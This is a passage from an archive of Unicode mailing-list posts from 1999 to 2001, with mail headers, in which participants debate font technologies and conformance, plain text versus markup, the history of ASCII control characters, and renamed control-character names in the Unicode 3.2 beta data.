ligation, and what new problems this would create, but at the same time I'm uncomfortable with leaving this issue up to the font vendors, and I think Marco Cimarosti summed it up perfectly: > I would like to stress one point. If I am not totally wrong, Unicode > should be a standard to encode *plain text*. > AAT, OpenType, or any other font technology should not be considered > as *prerequisites* for displaying Unicode. > Or is any particular font technology now *required* by the Unicode > standard? > Or is it now ""non conformant"" to use bitmapped fonts? The idea that a particular font ""technology"" (where I use the word in its marketing sense that is closer to ""vendor's product"" than ""set of capabilities"") is necessary to render Unicode plain text properly is the first step toward having that vendor claim that its products are the only ones that support Unicode. Obviously, some advanced font capabilities *are* necessary to render all of Unicode properly. (Note, BTW, the use of plain text to indicate italics, obviating the need for a special Unicode character to indicate this markup.) For instance, you cannot render Arabic without choosing the contextually appropriate glyph. But this is a long way from saying ""You need AAT"" or ""You need OpenType."" The latter would send the message that Unicode support requires specific vendors' products, and we could be back where we started decades ago, with each vendor devising its own character encoding solutions. -Doug Ewell Fullerton, California 29-Dec-99 17:04:10-GMT,2736;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub1.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id MAA23776 for ; Wed, 29 Dec 1999 12:04:06 -0500 (EST) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id MAA08950 for ; Wed, 29 Dec 1999 12:04:05 -0500 (EST) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id IAA15946 ; Wed, 29 Dec 1999 08:57:42 -0800 Received: (from agent@localhost) by unicode.org (8.9.3/8.9.3) id IAA22969; Wed, 29 Dec 1999 08:50:26 -0800 (PST) Message-Id: <199912291650.IAA22969@unicode.org> Errors-To: root@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-UML-Sequence: 11578 (1999-12-29 16:50:15 GMT) From: John Jenkins To: ""Unicode List"" Date: Wed, 29 Dec 1999 08:50:14 -0800 (PST) Subject: Re: Latin ligatures and Unicode Content-Transfer-Encoding: 7bit on 12/29/99 5:11 AM, Marco.Cimarosti@icl.com at Marco.Cimarosti@icl.com wrote: > I would like to stress one point. If I am not totally wrong, Unicode should > be a standard to encode *plain text*. > AAT, OpenType, or any other font technology should not be considered as > *prerequisites* for displaying Unicode. > Or is any particular font technology now *required* by the Unicode standard? > Or is it now ""non conformant"" to use bitmapped fonts? > AAT, OpenType, or some equivalent technology is and always has been a prerequisite for displaying Unicode. The standard has been designed from the beginning with the assumption that an intelligent rendering engine is available which can implement the character-glyph model in some fashion and display N characters using M glyphs with rearrangement and reshaping along the way. Unicode has also made the assumption that out-of-band information is required to provide the full range of ""proper"" display required by users -- e.g., in Unihan where it's acknowledged that Japanese readers won't want to see characters written using Taiwanese glyphs. ""Plain text"" in Unicode means (theoretically) the minimal amount of information for legible display. In this sense, using bitmapped fonts is conformant if and only if the bitmap font technology can implement the character-glyph model and would be better off if some kind of outside markup were available to finesse the display and provide the not-plain-text information. ===== John H. Jenkins jenkins@apple.com tseng@blueneptune.com http://www.blueneptune.com/~tseng 30-Dec-99 0:27:17-GMT,5909;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub1.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id TAA04123 for ; Wed, 29 Dec 1999 19:27:16 -0500 (EST) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id TAA20491 for ; Wed, 29 Dec 1999 19:27:16 -0500 (EST) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id QAA35958 ; Wed, 29 Dec 1999 16:25:42 -0800 Received: (from agent@localhost) by unicode.org (8.9.3/8.9.3) id QAA25814; Wed, 29 Dec 1999 16:20:30 -0800 (PST) Message-Id: <199912300020.QAA25814@unicode.org> Errors-To: root@unicode.org X-UML-Sequence: 11589 (1999-12-30 00:20:19 GMT) From: Kenneth Whistler To: ""Unicode List"" Cc: unicode@unicode.org, kenw@sybase.com Date: Wed, 29 Dec 1999 16:20:16 -0800 (PST) Subject: Re: Latin ligatures and Unicode John Jenkins replied to Marco Cimarosti: > on 12/29/99 5:11 AM, Marco.Cimarosti@icl.com at Marco.Cimarosti@icl.com > wrote: > > > I would like to stress one point. If I am not totally wrong, Unicode should > > be a standard to encode *plain text*. > > AAT, OpenType, or any other font technology should not be considered as > > *prerequisites* for displaying Unicode. > > Or is any particular font technology now *required* by the Unicode standard? > > Or is it now ""non conformant"" to use bitmapped fonts? > > > > AAT, OpenType, or some equivalent technology is and always has been a > prerequisite for displaying Unicode. The standard has been designed from > the beginning with the assumption that an intelligent rendering engine is > available which can implement the character-glyph model in some fashion and > display N characters using M glyphs with rearrangement and reshaping along > the way. I think John's response is a bit overblown. It is true that the designers of the Unicode Standard have always (meaning since 1988 at least) assumed the availability of an ""intelligent rendering engine"" as part of the text handling model for Unicode. But in so doing they were thinking, from the outset, about the issues of combining marks, ligatures and conjuncts, bidirectional text handling, and other complexities inherent to the full scope of written text. It was obvious from the start that no character-cell terminal with bitmaps was up to the general task, and that a several-layer abstraction between characters in a text backing store and dots in a display raster was going to be necessary to do justice to the general problem of rendering. BUT... conformance to the Unicode Standard does *not* mean that you have to implement a rendering engine that can handle Arabic, Khmer, *and* Mongolian to professional typesetting specifications. One could be implementing a Braille device driver that uses Unicode 3.0 Braille symbol character codes for transmission, and that does not use *any* font at all for rendering, for example. It is also conformant to make use of Unicode chart fonts, with fixed glyph shapes associated with fixed character codes -- as long as the process that is doing so is doing so intentionally and is not making bogus claims about correct visual layout of Arabic, for example. The production of the standard itself makes such *conformant* use of a chart font to enable the printing of the code charts. And since no Unicode implementation is forced to interpret all Unicode characters, it is perfectly possible to constrain one's interpreted repertoire to some fixed small set that *can* be implemented with a simple one-to-one character-to-glyph representation model. As long as the Unicode text content is rendered *legibly*, in accordance with the intended semantics of the characters, and is not ""garbaged"" by a misinterpretation of the intended values of the characters, that would have to be considered conformant. And finally, there are plenty of ""backend"" processing implementations of the Unicode Standard that have no rendering -- and that therefore do not have to worry about the complexities of visual display. > > Unicode has also made the assumption that out-of-band information is > required to provide the full range of ""proper"" display required by users -- > e.g., in Unihan where it's acknowledged that Japanese readers won't want to > see characters written using Taiwanese glyphs. > > ""Plain text"" in Unicode means (theoretically) the minimal amount of > information for legible display. > > In this sense, using bitmapped fonts is conformant if and only if the bitmap > font technology can implement the character-glyph model and would be better > off if some kind of outside markup were available to finesse the display and > provide the not-plain-text information. > I don't think this ""if and only if"" statement can hold for Unicode implementations in general. Bitmap fonts would be hard-pressed to deal with the minimal display requirements for many complex scripts, but it is not beyond the realm of engineering possibility to keep extending existing approaches. For complex scripts it just isn't worth the effort, basically, when better approaches using ""smart"" outline fonts exist. But in any case, the requirements for legible display of a given piece of well-formed Unicode text vary from script to script -- and not all require the same level of sophistication that Arabic or Mongolian do, for example. And Marco, you can put your mind at ease. You will search long and hard -- and in vain -- in the Unicode Standard, Version 3.0 for any formal conformance statement that would require an implementation to make use of a *particular* font technology -- or indeed, of any font technology at all -- in order to be conformant to the standard. --Ken 23-Mar-2000 18:48:24-GMT,2968;000000000001 Return-Path: Received: from mailrelay1.cc.columbia.edu (mailrelay1.cc.columbia.edu [128.59.35.143]) by uhaligani.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id NAA02998 for ; Thu, 23 Mar 2000 13:48:22 -0500 (EST) Received: from charybdis.zembu.com (charybdis.zembu.com [209.157.144.99]) by mailrelay1.cc.columbia.edu (8.9.3/8.9.3) with SMTP id NAA06415 for ; Thu, 23 Mar 2000 13:48:19 -0500 (EST) Received: (qmail 31489 invoked from network); 23 Mar 2000 18:48:12 -0000 Received: from scylla.zembu.com (HELO gumby.henkel-wallace.org) (209.157.144.98) by charybdis.zembu.com with SMTP; 23 Mar 2000 18:48:12 -0000 Message-Id: <4.3.1.2.20000323104006.04856270@pop.zembu.com> X-Sender: (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Thu, 23 Mar 2000 10:47:24 -0800 To: Frank da Cruz From: ""D.V. Henkel-Wallace"" Subject: RE: DEC multilingual code page, ISO 8859-1, etc. Cc: unicode@unicode.org In-Reply-To: <200003230157.RAA19027@unicode.org> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed At 17:55 22-03-00 -0800, Frank da Cruz wrote: > > On a different topic, the 125x's will or shortly will be standardized (as > > well as de facto) code pages for info interchange on the Internet. > >By ""standardized"" you probably mean registered as MIME charsets. That's not >quite the same as being standardized in the ISO or ANSI sense, back in the >days when care was taken to make sure that ""information interchange"" was not >compromised. The world of computing is not just the Web.[...] > > One can > > gripe about the situation, but it evolved along with the web and there's > > nothing one can do to perfect things at this point. > > >One can resist further ruination. (I assume that by now Unicoders not interested in this topic will have stopped following this thread, so this can be considered ""on topic""). As a further salvo in the ""text vs markup"" skirmish on this list, I suggest you point your browser to the surprisingly open-minded article at http://www.tidbits.com/tb-issues/TidBITS-522.html#lnk3. The technical details should be understood to most of us. But tThe key point in this article is that the battle of non-standard tags in the ""browser wars"" has not only flamed out, but is being trumped by -- get this -- _standards_. The drive to non-PC devices is causing a resurgence of interest in text, and in the separation of presentation from markup. I would have thought that computer scientists would get this intuitively, but this article, discussions on this list, and the marketplace all show that assumption to be naive. Markus' screed on the use of ""ANSI"" might appear to be off topic, but the word ""Unicode"" can end up being equally debased (and thus equally useless) if care isn't taken now. -d PS: apologies for all the bellicose metaphor in my message. 2-Jul-2000 19:23:16-GMT,3375;000000000001 Return-Path: Received: from mailrelay1.cc.columbia.edu (mailrelay1.cc.columbia.edu [128.59.35.143]) by uhaligani.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id PAA23501 for ; Sun, 2 Jul 2000 15:23:15 -0400 (EDT) Received: from bz2.apple.com (bz2.apple.com [17.254.0.82]) by mailrelay1.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id PAA14534 for ; Sun, 2 Jul 2000 15:23:15 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by bz2.apple.com (8.9.3/8.9.3) with ESMTP id MAA09512; Sun, 2 Jul 2000 12:20:12 -0700 (PDT) Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id LAA26467; Sun, 2 Jul 2000 11:07:58 -0800 (GMT-0800) Message-Id: <200007021907.LAA26467@unicode.org> Errors-To: root@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-UML-Sequence: 14498 (2000-07-02 19:05:14 GMT) From: John Hudson To: ""Unicode List"" Cc: Unicode mailing list Date: Sun, 2 Jul 2000 11:05:11 -0800 (GMT-0800) Subject: Re: Should furigana be considered part of ""plain text""? At 09:16 AM 7/2/00 -0800, Doug Ewell wrote: >The problem with the phrase ""plain text ceases to be plain if you decide >that layout information needs to be encoded"" is the word ""layout."" In >the broadest sense, line and paragraph separation could be considered >""layout,"" and nobody would suggest doing away with the plain-text >characters needed to control those functions. I think this is a fair comment, if one assumes so broad a sense of 'layout'. On the other hand, I wouldn't consider a paragraph break to be necessarily 'layout', since it is primarily a textual convention that can be represented in layout in a myriad of different ways: double spacing, indentation, pilcrows, etc.. Now, we have interpreted a paragraph break in a particular way in plain text code -- a hard break and a move to a new line, i.e. the behaviour of a typewriter 'return' key -- and have further muddied things by using this code to force layout by, for instance, entering two paragraph breaks to achieve this particular layout. Personally, I think a truly plain text paragraph break would have no particular layout behaviour associated with it; rather, it would indicate a textual break that would be interpreted by applications according to user defined layout preferences. In e-mail, it is handy to have paragraphs separated by a 'double return', especially when several correspondents are being quoted, but elsewhere I would prefer indented, single-spaced paragraphs. Since it is the same textual break that is being indicated, I don't think these two layout options should be differently encoded. I think equating a digital paragraph break with the return key on a manual typewriter is actually a failure to encode plain text. That said, I realise that this might be an extremist view, and I certainly don't expect anybody to change anything now. Although I have to add, as someone who has typeset books, that having to remove all the double returns in a document before I can properly control the paragraph breaks is almost as annoying as replacing multiple tabs or word spaces when these have been used to force layout in 'plain text'. Thank goodness for macros. John Hudson Tiro Typeworks Vancouver, BC http://www.tiro.com 4-Jul-2000 6:26:40-GMT,7120;000000000001 Return-Path: Received: from mailrelay2.cc.columbia.edu (mailrelay2.cc.columbia.edu [128.59.35.139]) by monire.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id CAA08854 for ; Tue, 4 Jul 2000 02:26:39 -0400 (EDT) Received: from bz2.apple.com (bz2.apple.com [17.254.0.82]) by mailrelay2.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id CAA04705 for ; Tue, 4 Jul 2000 02:26:38 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by bz2.apple.com (8.9.3/8.9.3) with ESMTP id XAA08214; Mon, 3 Jul 2000 23:25:28 -0700 (PDT) Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id WAA01104; Mon, 3 Jul 2000 22:10:44 -0800 (GMT-0800) Message-Id: <200007040610.WAA01104@unicode.org> Errors-To: root@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" X-UML-Sequence: 14512 (2000-07-04 06:07:15 GMT) From: Edward Cherlin To: ""Unicode List"" Cc: Unicode mailing list Date: Mon, 3 Jul 2000 22:07:13 -0800 (GMT-0800) Subject: Re: Should furigana be considered part of ""plain text""? At 11:05 AM -0800 7/2/00, John Hudson wrote: >At 09:16 AM 7/2/00 -0800, Doug Ewell wrote: > > >The problem with the phrase ""plain text ceases to be plain if you decide > >that layout information needs to be encoded"" is the word ""layout."" In > >the broadest sense, line and paragraph separation could be considered > >""layout,"" and nobody would suggest doing away with the plain-text > >characters needed to control those functions. The problem with the phrase ""plain text"" is that it is a polite fiction. ASCII characters, printing and non-printing, originated as commands to printers. What we originally called plain text files are those that would give reasonable results when printed on an ASCII teleprinter used as a terminal. The mechanical functions of Teletypes defined the original semantics of the control characters used in text files, and since carried over to screen and laser printer output-- CR Carriage Return Move printing point to beginning of current line. LF Line Feed Move printing point down one line. BS Back Space Move printing point one space left, unless at left limit. HT Horizontal Tab Move printing point right to next tab stop, unless at right limit. FF Form Feed Move printing point to top of next page. and is the reason why many of us call CR-LF either a line or paragraph break today. Explicit line breaks were, of course, essential on the original devices. Both CR and BS were routinely used for overstriking. The semantics of these and other ASCII control characters have been changing with technology. *Some* computer system designers, noticing that the demands of printing terminals were not requirements on system file internals, chose to use either CR alone or LF alone for line or paragraph ends, all without coordination. Line breaks in files became optional on systems that provided word wrap on output or display. Users were given options for setting tab stops, margins, and page lengths. Character 7F, DEL, originally meant ""not a character; deleted"" on punched paper tape, but began turning into destructive backspace even before tape died. ESC has undoubtedly mutated the most. The use of 1A SUB for end of file in several operating systems including PCDOS is a violation of the ASCII standard, which provides both 03 ETX (End of Text) and 04 EOT (End of Transmission), but who cared? There are now numerous incompatible formats bearing the name ""plain text"". Some are distinguished by the choice of line end string. In some cases, line ends are required, especially if there is a maximum line length. Lines of unlimited length may represent paragraphs or database records. Character sets other than ASCII may be used, especially 8859-1 or Windows code page 1252. These days, people want to be able to use any coded character set and still call it plain text. In fact, people want to introduce all kinds of markup, including furigana/rubi, language tags, ligature marking, and even character set shift sequences (not just the poky SI and SO), and still call the result plain text. >I think this is a fair comment, if one assumes so broad a sense of >'layout'. On the other hand, I wouldn't consider a paragraph break to be >necessarily 'layout', since it is primarily a textual convention that can >be represented in layout in a myriad of different ways: double spacing, >indentation, pilcrows, etc.. Now, we have interpreted a paragraph break in >a particular way in plain text code -- a hard break and a move to a new >line, i.e. the behaviour of a typewriter 'return' key -- by way of the Teletype >and have further >muddied things by using this code to force layout by, for instance, >entering two paragraph breaks > >to achieve this particular layout. The use of tabs, spaces, CR, and LF to lay out ""plain text"" is necessary in mail and news, and a total pain in documents that will need to be converted to anything else. >Personally, I think a truly plain text paragraph break would have no >particular layout behaviour associated with it; rather, it would indicate a >textual break that would be interpreted by applications according to user >defined layout preferences. In e-mail, it is handy to have paragraphs >separated by a 'double return', especially when several correspondents are >being quoted, but elsewhere I would prefer indented, single-spaced >paragraphs. Since it is the same textual break that is being indicated, I >don't think these two layout options should be differently encoded. I think >equating a digital paragraph break with the return key on a manual >typewriter is actually a failure to encode plain text. It is too late for such simple solutions. If we want to have a standard for plain text, we have to provide for each of the common usages. We have tried to start such a project twice on this list, and have failed utterly both times. >That said, I realise that this might be an extremist view, and I certainly >don't expect anybody to change anything now. Although I have to add, as >someone who has typeset books, that having to remove all the double returns >in a document before I can properly control the paragraph breaks is almost >as annoying as replacing multiple tabs or word spaces when these have been >used to force layout in 'plain text'. Thank goodness for macros. Hear, hear. I have wasted a remarkable amount of time over the years on reformatting Word documents into FrameMaker. The ""pain text"" [sic] markup habits of engineers are responsible for most of the work in those conversions. Thank goodness for book-wide search and replace in FM 6. >John Hudson > >Tiro Typeworks >Vancouver, BC >http://www.tiro.com Edward Cherlin, Spamfighter ""It isn't what you don't know that hurts you, it's what you know that ain't so.""--Mark Twain, or else some other prominent 19th century humorist and wit 6-Jul-2000 17:38:05-GMT,2882;000000000001 Return-Path: Received: from mailrelay2.cc.columbia.edu (mailrelay2.cc.columbia.edu [128.59.35.139]) by fozimane.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id NAA14701 for ; Thu, 6 Jul 2000 13:38:04 -0400 (EDT) Received: from relay7.apple.com (bz1.apple.com [17.254.0.81]) by mailrelay2.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id NAA25607 for ; Thu, 6 Jul 2000 13:38:03 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by relay7.apple.com (8.9.3/8.9.3) with ESMTP id KAA01592; Thu, 6 Jul 2000 10:37:21 -0700 (PDT) Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id JAA13311; Thu, 6 Jul 2000 09:25:24 -0800 (GMT-0800) Message-Id: <200007061725.JAA13311@unicode.org> Errors-To: root@unicode.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-UML-Sequence: 14562 (2000-07-06 17:21:42 GMT) From: John Cowan To: ""Unicode List"" Cc: Unicode List Date: Thu, 6 Jul 2000 09:21:38 -0800 (GMT-0800) Subject: Re: Control characters On Wed, 5 Jul 2000, john wrote: > > IIRC, the Model 37 Teletype interpreted 0A as a newline function, > > Also models 33 and 38, which also interpreted x0D as carriage return. Definitely not true of the model 33; it interpreted 0A as a line-feed, and if it received one not preceded by 0D it would do this. (Hopefully, you are all reading this email with a fixed-width font as God intended.) > > so ASCII allowed 0A to be interpreted as either LF or NL. > > That's non sequitur, but folks are like that. How so? The LF behavior is different from the NL behavior. > > DEC OSes notoriously distorted or misused the control characters, thus > > ^U = NAK was used to kill an input line instead of ^X = cancel. > > Since some of these editing commands were actually > merely echoed back from the main processor to the comm control > unit through which the terminal was connected, Definitely not true of any DEC OS; control characters were echoed as ^A, ^B, etc. > there was some > fogging over of the concepts of source and destination. The comm > controller would buffer up what was typed until it got a CR (0x0D) > and so these editing controls were actually commands to that comm > controller to clear its buffer. Again, not true of any DEC OS; characters were interpreted one by one and selectively echoed by the CPU only. There were no buffering serial-line controllers for the PDP-8, and they weren't introduced for the PDP-11 until later -- and even then, the typical mode was to stop buffering on *any* control character. -- John Cowan cowan@ccil.org ""You need a change: try Canada"" ""You need a change: try China"" --fortune cookies opened by a couple that I know 26-Nov-2001 20:41:25-GMT,3221;000000000005 Return-Path: Received: from unicode.org (unicode.org [209.235.17.55]) by kachifo.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id BAA15597 for ; Mon, 26 Nov 2001 01:24:21 -0500 (EST) Received: from sarasvati.unicode.org (localhost.localdomain [127.0.0.1]) by unicode.org (8.9.3/8.9.3) with ESMTP id AAA21504; Mon, 26 Nov 2001 00:37:19 -0500 Received: with LISTAR (v1.0.0; list unicode); Mon, 26 Nov 2001 00:37:19 -0500 (EST) Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55]) by unicode.org (8.9.3/8.9.3) with SMTP id AAA21498 for ; Mon, 26 Nov 2001 00:37:18 -0500 Received: (qmail 10978 invoked from network); 26 Nov 2001 05:43:03 -0000 Received: from unknown (HELO suse) (210.81.148.125) by mailserv2.iuinc.com with SMTP; 26 Nov 2001 05:43:03 -0000 Date: Mon, 26 Nov 2001 14:46:12 +0900 (JST) From: Gaspar Sinai X-X-Sender: gsinai@suse.blue-edge-tech.com To: Philipp Reichmuth cc: Arjun Aggarwal , Subject: Re: The real solution In-Reply-To: <725176373.20011125222014@web.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 337 X-listar-version: Listar v1.0.0 Sender: unicode-bounce@unicode.org Errors-to: unicode-bounce@unicode.org X-original-sender: gsinai@yudit.org Precedence: bulk List-help: List-unsubscribe: List-software: Listar version 1.0.0 X-List-ID: X-list: unicode Sorry, I could not resist: On Sun, 25 Nov 2001, Philipp Reichmuth wrote: [..] > > Oh, the difference is probably that from this category of pages, you > can cut&paste into Word without garbling up your data because it uses > a *standard* encoding as opposed to the complete chaos of Hindi web > pages using their own fonts. Does that count as justification for > Unicode? [..] Please do not refer to MS Word. If Unicode Consortium had not listened to the industrial push of Micsrosoft to support their existing and broken standard, we would have a much better and cleaner character standard now. I don't think a character standard should go in the arena of typesetting to the extent Unicode does. I think it should provide clean and easy character standard with presentation forms that can be unambiguously put on a character based text terminal with no fancy typesetting features. Then if you want to typeset, go to the next level. As for cut & paste, it might work among Microsoft Apps but if one wants to interface an app with a disclosed clipboard format he will realize that he can not paste unicode text that contains '\\u0000' characters. Impossible. And how about UCS-4 ? Forget it. As a text format it is not even existent. I think it would be much better to look for another benchmark engine. If I were Unicode Consortium I would build one. Just to prove that the standard works. Wait... maybe it does not? Thanks for your attention, I am really bad I know :) cheers gaspar 4-Dec-2001 6:12:31-GMT,4124;000000000001 Return-Path: Received: from unicode.org (unicode.org [209.235.17.55]) by kachifo.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id BAA15341 for ; Tue, 4 Dec 2001 01:12:31 -0500 (EST) Received: from sarasvati.unicode.org (localhost.localdomain [127.0.0.1]) by unicode.org (8.9.3/8.9.3) with ESMTP id XAA13805; Mon, 3 Dec 2001 23:15:05 -0500 Received: with LISTAR (v1.0.0; list unicode); Mon, 03 Dec 2001 23:15:05 -0500 (EST) Received: from imo-r02.mx.aol.com (imo-r02.mx.aol.com [152.163.225.98]) by unicode.org (8.9.3/8.9.3) with ESMTP id XAA13793 for ; Mon, 3 Dec 2001 23:15:04 -0500 From: DougEwell2@cs.com Received: from DougEwell2@cs.com by imo-r02.mx.aol.com (mail_out_v31_r1.9.) id 4.ac.1edd2ddd (3313) for ; Tue, 4 Dec 2001 00:30:54 -0500 (EST) Message-ID: Date: Tue, 4 Dec 2001 00:30:54 EST Subject: Unicode 1.0 names for control characters To: unicode@unicode.org MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: CompuServe 2000 32-bit sub 113 X-archive-position: 457 X-listar-version: Listar v1.0.0 Sender: unicode-bounce@unicode.org Errors-to: unicode-bounce@unicode.org X-original-sender: DougEwell2@cs.com Precedence: bulk List-help: List-unsubscribe: List-software: Listar version 1.0.0 X-List-ID: X-list: unicode I am surprised and puzzled by the ""Unicode 1.0 Name"" changes for some of the ASCII and Latin-1 control characters that were introduced in the latest beta version of the Unicode 3.2 data file (UnicodeData-3.2.0d5.txt): U+0009 HORIZONTAL TABULATION ==> CHARACTER TABULATION U+000B VERTICAL TABULATION ==> LINE TABULATION U+001C FILE SEPARATOR ==> INFORMATION SEPARATOR FOUR U+001D GROUP SEPARATOR ==> INFORMATION SEPARATOR THREE U+001E RECORD SEPARATOR ==> INFORMATION SEPARATOR TWO U+001F UNIT SEPARATOR ==> INFORMATION SEPARATOR ONE U+008B PARTIAL LINE DOWN ==> PARTIAL LINE FORWARD U+008C PARTIAL LINE UP ==> PARTIAL LINE BACKWARD Were these ""new"" names (e.g. CHARACTER TABULATION) really the original Unicode 1.0 names? I don't have my 1.0 book close at hand, but I know that they were *not* the names used in 1.1, according to the file ""namesall.lst"" from that version. (Aha, didn't think anyone still had that dusty old thing lying around?) IMHO, the new names CHARACTER TABULATION and LINE TABULATION are much less intuitive than HORIZONTAL TABULATION and VERTICAL TABULATION. Sometimes you even see the abbrevations HT and VT for these two characters. The new names appear to have been invented by someone who imagined a lack of clarity in the old names. I have seen the names IS4, IS3, IS2, and IS1 before, but they do not convey the same information as FS, GS, RS, and US. The latter names are more specific. The ""old"" names for these six control characters were used as far back as the original 1963 version of ASCII, according to Mackenzie (pp. 245-247). I don't know about the history of U+008B and U+008C, but again it seems strange that the ""Unicode 1.0 name"" for these characters is being changed at this late date. I know this 1.0 name field is not subject to the same rule of ""no changes, ever"" that applies to the regular Character Name field, but why should these names be changed at all? On this same topic, parenthesized abbreviations have been added to the 1.0 names for U+000A LIFE FEED (LF), U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), and U+0085 NEXT LINE (NEL). Does the addition of these abbreviations mean that they are now part of the official 1.0 name, and if so, why? Other characters typically don't have abbreviations as part of their names, even if they are as meaningful and as commonly used as these, and again it is a change from the 1.0 name we have seen for a decade. Perhaps I've been checking the beta files a bit TOO carefully. -Doug Ewell Fullerton, California 4-Dec-2001 11:10:39-GMT,5908;000000000001 Return-Path: Received: from unicode.org (unicode.org [209.235.17.55]) by kachifo.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id GAA20109 for ; Tue, 4 Dec 2001 06:10:39 -0500 (EST) Received: from sarasvati.unicode.org (localhost.localdomain [127.0.0.1]) by unicode.org (8.9.3/8.9.3) with ESMTP id EAA02011; Tue, 4 Dec 2001 04:16:04 -0500 Received: with LISTAR (v1.0.0; list unicode); Tue, 04 Dec 2001 04:16:04 -0500 (EST) Received: from pheidippides.md.chalmers.se (pheidippides.md.chalmers.se [129.16.237.91]) by unicode.org (8.9.3/8.9.3) with ESMTP id EAA02005 for ; Tue, 4 Dec 2001 04:16:03 -0500 Received: from chalmers95a69n (dhcp226-180.cs.chalmers.se [129.16.226.180]) by pheidippides.md.chalmers.se (8.10.1/8.10.1) with SMTP id fB4AVpH09059; Tue, 4 Dec 2001 11:31:52 +0100 (MET) From: ""Kent Karlsson"" To: , Subject: RE: Unicode 1.0 names for control characters Date: Tue, 4 Dec 2001 11:31:05 +0100 Message-ID: <000701c17cae$c817c800$b4e21081@chalmers95a69n> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Importance: Normal X-archive-position: 460 X-listar-version: Listar v1.0.0 Sender: unicode-bounce@unicode.org Errors-to: unicode-bounce@unicode.org X-original-sender: kentk@md.chalmers.se Precedence: bulk List-help: List-unsubscribe: List-software: Listar version 1.0.0 X-List-ID: X-list: unicode None of the C0 and in particular C1 names are really from Unicode 1.0. They are from ISO/IEC 6429. Now from ISO/IEC 6429:1992 (Third edition), rather than the second edition. Technically the same standard is available as Fifth edition of ECMA-48, 1991; ftp://ftp.ecma.ch/ecma-st/Ecma-048.pdf. The earlier editions are as far as I can see no longer available. Most of the name changes (in 1991!) were apparently done in an attempt to internationalise that (those) standard(s). ""HORIZONTAL TABULATION"" would be vertical if the lines are vertical, etc. So these name changes DO add clarity. The old abbreviations were retained, however. The mismatch between ISO/IEC 6429:1992 and Unicode 2.x ""names"" for these has caused a bit of a stir when someone was translating the names. For the ISn-s it appears that a generalisation was desired (I don't know if this was new in the 1991/1992 editions), with US, RS, GS, FS being suitable only if such a hierarchy was used. My reading is that the ISn-s are not necessarily hierarchical. Kind regards /kent k > -----Original Message----- > From: unicode-bounce@unicode.org [mailto:unicode-bounce@unicode.org]On > Behalf Of DougEwell2@cs.com > Sent: den 4 december 2001 06:31 > To: unicode@unicode.org > Subject: Unicode 1.0 names for control characters > > > I am surprised and puzzled by the ""Unicode 1.0 Name"" changes > for some of the > ASCII and Latin-1 control characters that were introduced in > the latest beta > version of the Unicode 3.2 data file (UnicodeData-3.2.0d5.txt): > > U+0009 HORIZONTAL TABULATION ==> CHARACTER TABULATION > U+000B VERTICAL TABULATION ==> LINE TABULATION > U+001C FILE SEPARATOR ==> INFORMATION SEPARATOR FOUR > U+001D GROUP SEPARATOR ==> INFORMATION SEPARATOR THREE > U+001E RECORD SEPARATOR ==> INFORMATION SEPARATOR TWO > U+001F UNIT SEPARATOR ==> INFORMATION SEPARATOR ONE > U+008B PARTIAL LINE DOWN ==> PARTIAL LINE FORWARD > U+008C PARTIAL LINE UP ==> PARTIAL LINE BACKWARD > > Were these ""new"" names (e.g. CHARACTER TABULATION) really the > original > Unicode 1.0 names? I don't have my 1.0 book close at hand, > but I know that > they were *not* the names used in 1.1, according to the file > ""namesall.lst"" > from that version. (Aha, didn't think anyone still had that > dusty old thing > lying around?) > > IMHO, the new names CHARACTER TABULATION and LINE TABULATION > are much less > intuitive than HORIZONTAL TABULATION and VERTICAL TABULATION. > Sometimes you > even see the abbrevations HT and VT for these two characters. > The new names > appear to have been invented by someone who imagined a lack > of clarity in the > old names. > > I have seen the names IS4, IS3, IS2, and IS1 before, but they > do not convey > the same information as FS, GS, RS, and US. The latter names > are more > specific. > > The ""old"" names for 